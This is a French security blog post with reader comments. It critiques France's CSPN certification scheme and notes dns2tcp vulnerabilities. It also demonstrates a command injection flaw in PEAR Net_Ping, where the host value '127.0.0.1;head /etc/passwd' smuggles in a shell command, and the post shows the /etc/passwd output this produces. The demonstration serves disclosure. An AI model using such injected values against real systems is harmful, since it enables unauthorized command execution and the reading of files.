mercredi 3 décembre 2008

Ceci n'est pas du sport ...

... mais ça pourrait le devenir.

Et oui, pour les béotiens qui confondent Evaluation et Certification, sachez que ESPN est un site sportif de premier plan, tandis que CSPN est une nouvelle initiative du gouvernement français.

Qu'ils soient pardonnés, car il n'est pas facile de s’y retrouver dans la profusion d'annonces autour de la "sécurité" (telles que la plateforme Internet Signalement ou les gesticulations autour de la loi HADOPI).

L’objectif de la Certification Sécurité de Premier Niveau est louable : il s’agit de vérifier que des fonctions de sécurité essentielles sont assurées par un produit d’usage courant, en temps et en budget contraint – d’aucun parlerait de certification "agile", par opposition aux évaluations de type Critères Communs. Ces dernières ne sont praticables que sur des systèmes très contraints, toute autre tentative étant vouée à l’échec.

Bien entendu, on peut débattre à l’envi des conditions dans lesquelles cette certification a été mise en œuvre. Par exemple tous les CESTI sont automatiquement devenus évaluateurs potentiels pour la CSPN. On conçoit mal qu’un laboratoire capable de délivrer une certification EAL4 à un VPN ne puisse pas vérifier la solidité du chiffrement de WinZip. Mais on imagine quand même que le processus de certification Critères Communs, impliquant une forte coopération de l’éditeur, est assez différent d’une évaluation de 20 jours parfois sans accès au code source.

Les premiers résultats de cette certification étant tombés, on peut également être surpris par le choix des produits certifiés : Trango Hypervisor, Blancco Data Cleaner, et TrueCrypt. Si le choix de ce dernier est assez logique, les deux premiers sont quasi-inconnus et bénéficient d’une publicité d’enfer via un site institutionnel, qu'ils ne se privent pas d'exploiter - le tout pour une somme assez modique (20 jours de consultant). Trango venant d'être racheté par VMWare, et Blancco étant une société Finlandaise, on ne voit pas trop l'intérêt pour la DCSSI de s'engager dans cette voie.

Parmi les détails amusants, on notera la référence à FrSIRT (page 16) comme portail de référence (son propriétaire n’ayant pourtant pas toujours été en odeur de sainteté dans les sphères gouvernementales) – et on notera aussi que Sogeti n’a pas rendu son rapport définitif. C’est probablement comme le SSTIC – il y a du rab’ pour ceux qui galèrent avec Latex :)

Bien entendu, le challenge consiste maintenant à mettre en défaut la certification d’un produit, malgré l’avertissement chapeau assez explicite :
"La certification ne constitue pas en soi une recommandation du produit par la Direction centrale de la sécurité des systèmes d’information (DCSSI), et ne garantit pas que le produit certifié soit totalement exempt de vulnérabilités exploitables."

Dans la pratique, ça n’est pas aussi simple : les rapports des produits certifiés font déjà état de failles avérées dans certaines configurations. Par exemple le produit d’effacement sécurisé ne sait pas accéder à la zone HPA sur les disques IDE, alors qu’il y parvient sur les disques SATA !

Tout comme pour les critères communs, la certification obtenue doit être replacée dans le contexte de la cible de sécurité. Dans ces conditions, la probabilité de trouver une faille qui aurait échappée au certificateur est beaucoup plus faible.

Et les produits qui échouent lamentablement à passer la certification n'apparaissent nulle part - tout est bien qui finit bien, donc :)

Passons maintenant au jeu de la newsletter, à l’aide du script Python suivant :

fp = open("newsletter52.txt", "ra")
all = fp.readlines()
fp.close()

count = 0
for l in all:
words = l.split(" ")
for w in words:
if ((len(w) == 5) and (w.startswith("270"))):
count = count + 1

print "Score: %d" % count
Verdict: 44. On atteint le high score, mais sans le dépasser !

Vous noterez au passage le laconique :

- Outil : Nouvelle version de l'outil de tunnel sur DNS, dns2tcp v0.4.3.
http://www.hsc.fr/ressources/outils/dns2tcp/index.html.fr

En vérité, il s’avère que les versions 0.4.0, 0.4.1 et 0.4.2 étaient toutes vulnérables à des failles de sécurité, ce que n’indique pas vraiment le site de l’éditeur.

Le scénario est assez classique dans le monde de la sécurité : tout le monde se dit "c’est du sérieux, on peut avoir confiance" ou "quelqu’un a sûrement regardé, puisque c’est Open Source" (sic).

Puis un jour, survient l’integer overflow – et là, c’est le drame. Car cela signifie que ni le développeur, ni sa toolchain n’a connaissance de cette classe d’attaque. Et les bogues n’ont pas manqué de s’enchainer rapidement par la suite.

Il faut dire que le co-auteur de cet outil a été sévèrement châtié : il est désormais assigné à la formation "Développement sécurisé en PHP par la pratique". Personne n’a mérité ça, pas même les mainteneurs Debian.

En parlant de PHP, voici un exemple de code PEAR :

$ cat lol.php

require ("Net/Ping.php");
$count=1;
$host='127.0.0.1';
$ping = Net_Ping::factory();
$ping->setArgs(array('size' => 1, 'count' => $count));
$response = $ping->ping($host);
echo join("\r\n", $response->getRawData());
?>

$ php5 -f lol.php
PING 127.0.0.1 (127.0.0.1) 1(29) bytes of data.
9 bytes from 127.0.0.1: icmp_seq=1 ttl=64

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms

Et voici ce qu'il m'a fallu 5 minutes pour trouver lors d'un audit quelconque:

$ cat lol.php

require ("Net/Ping.php");
$count=1;
$host='127.0.0.1;head /etc/passwd';
$ping = Net_Ping::factory();
$ping->setArgs(array('size' => 1, 'count' => $count));
$response = $ping->ping($host);
echo join("\r\n", $response->getRawData());
?>

$ php5 -f lol.php
PING 127.0.0.1 (127.0.0.1) 1(29) bytes of data.
9 bytes from 127.0.0.1: icmp_seq=1 ttl=64

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh

Même dans la Livebox, on ne trouve plus ce genre de faille !


« Depuis que PHP a été inventé, je n’ai plus besoin de remplir mes rapports avec ‘le routeur a répondu à ICMP Timestamp’ ou ‘le serveur autorise la méthode non sécurisée TRACE’ » -- various pentesters.

13 commentaires:

Anonyme a dit…

Ces certifications ne sont t'elles pas un justificatif de "non-disclose public voir la sortie un jour de correctif" pour certains constructeurs/éditeurs si une faille trouvée ne remet pas en question la certification ?
Perso on m'a déjà dit "on s'en fout c'est pas FIPS"

Même juniper a notifié l'overflow dans dns2tcp (severity=HIGH), c'est choquant :)

Anonyme a dit…

On peut effectivement se demander comment sont obtenues certaines certifications.
Je cite la DCSSI: "Un CESTI doit être impartial et indépendant de toute pression extérieure. Il ne doit en aucun cas être impliqué dans le développement (y compris à titre de conseil) et l'évaluation d'un même produit."
Bien, très bien.
Comme par exemple cette offre de France Telecom évaluée par le CESTI... France Telecom (Silicomp AQL) ?

Anonyme a dit…

Ton commentaire sur le rapport de Sogeti n'est pas sympa pour eux. Je pense que la DCSSI hésite à le publier. Il n’y a plus beaucoup d’équipe R&D en France : EADS, Sogeti/ESEC, … Je pense que vous devriez être solidaire et ne pas vous affronter. Hervé S (Levallois 92)

newsoft a dit…

@H.S. du 92: mon commentaire visait plus les fanboys de Latex que les chercheurs de Sogeti.

Je suis sûr que leur rendu sera d'excellente qualité, compte-tenu de la vitrine que leur offre le CSPN.

Anonyme a dit…

funkinessflavor: il faudrait demander a EW chez OBS, mais je suis presque sur que c'est une "mise a jour" d'une evaluation precedente (qui date d'il y a 2-3 ans au moins).

L'utilite est vraiment au niveau marketing (et comme je le disais a EW c'est bien joue), car quand tu regardes le document tu vois des versions specifiques d'IOS. Ca veut dire que FT ne peut pas mettre a jour ses routeurs en cas de faille de securite ? :)

Et puis pour pello: je te laisse regarder quelles sont les failles dans ces versions d'IOS ;-)

Anonyme a dit…

Nico: effectivement, tu avais vu juste à propos de la mise à jour et je suis tout à fait conscient de l'intérêt marketing. Une interview d'EW qui détaille les retombées positives de la première certif est d'ailleurs disponible en ligne.
Mais je reste sceptique sur l'impartialité du jugement. C'est assez délicat d'être juge et partie dans ce contexte.

Pour finir sur un note un peu plus légère on voit dans le rapport que hping2 a été utilisé. Ah. Et pourquoi pas hping3 ? Serait-ce un malencontreux copié/collé du document de la première certif ? ;)
Un petit scapy aurait été le bienvenu aussi.
Quoique après le coup de pub qu'il s'est pris avec l'interview de Kaminsky dans Wired je ne pense pas que scapy en ai vraiment besoin.

Anonyme a dit…

Le rapport de Sogeti est en ligne depuis 2 jours à l'adresse :
http://www.ssi.gouv.fr/fr/confiance/cspn/2008-03.pdf. Hervé S (92)

newsoft a dit…

@Hervé: merci pour l'info, j'espère que le PDF n'est pas "malicieux" ;)

En tout cas le document a l'air très complet (je lirai ça à tête reposée). Je me demande ce qu'il en est des "vulnérabilités" trouvées.

Est-ce qu'elles ont été signalées aux développeurs ? La DCSSI fournit-elle un patch ? Faut-il attendre la version 6.0b ? Les futures versions devront-elles être recertifiées ?

newsoft a dit…

On me souffle que les commentaires du rapport sont disponibles sur le blog de Sogeti:

http://esec.fr.sogeti.com/blog/dotclear/?2008/12/05/44-cspn-truecrypt

Donc pour résumer, la version 6.0 est certifiée, et la version 6.1 corrige une partie des bogues trouvés :)

newsoft a dit…

Attention, le seul, l'unique Hervé S. m'a confirmé de vive voix ne pas être à l'origine des commentaires signés "Hervé S."

A prendre au second degré, donc.

newsoft a dit…

Tiens mais il semblerait que Nagios fixe des injections de ';' dans la commande PING (!)

newsoft a dit…

Injection de commandes dans PEAR Net::Traceroute

http://www.gentoo.org/security/en/glsa/glsa-200911-06.xml

"Ca, c'est fait"

newsoft a dit…

Ah cette fois c'est la bonne:

Multiple remote arbitrary command injections have been found in the Net_Ping and Net_Traceroute